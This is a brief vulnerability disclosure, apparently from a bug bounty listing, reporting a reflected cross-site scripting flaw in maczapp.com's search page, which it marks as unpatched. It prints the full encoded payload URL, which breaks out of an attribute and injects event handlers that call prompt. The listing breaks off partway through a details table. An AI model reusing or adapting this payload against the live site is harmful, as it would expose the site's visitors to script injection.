maczapp.com XSS vulnerability

Vulnerable URL: http://www.maczapp.com/search.php?keyword=aaaaa%22+onfocus%3Dprompt%2FOPENBUGBOUNTY%2F+autofocus%3Dx+bad%3D%22%3Eaa%22%3E%3C%2Ftitle%3E%3C%2Fscript%3E%3Cmarquee+onstart%3Dprompt%2FOPENBUGBOUNTY%2F%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:|...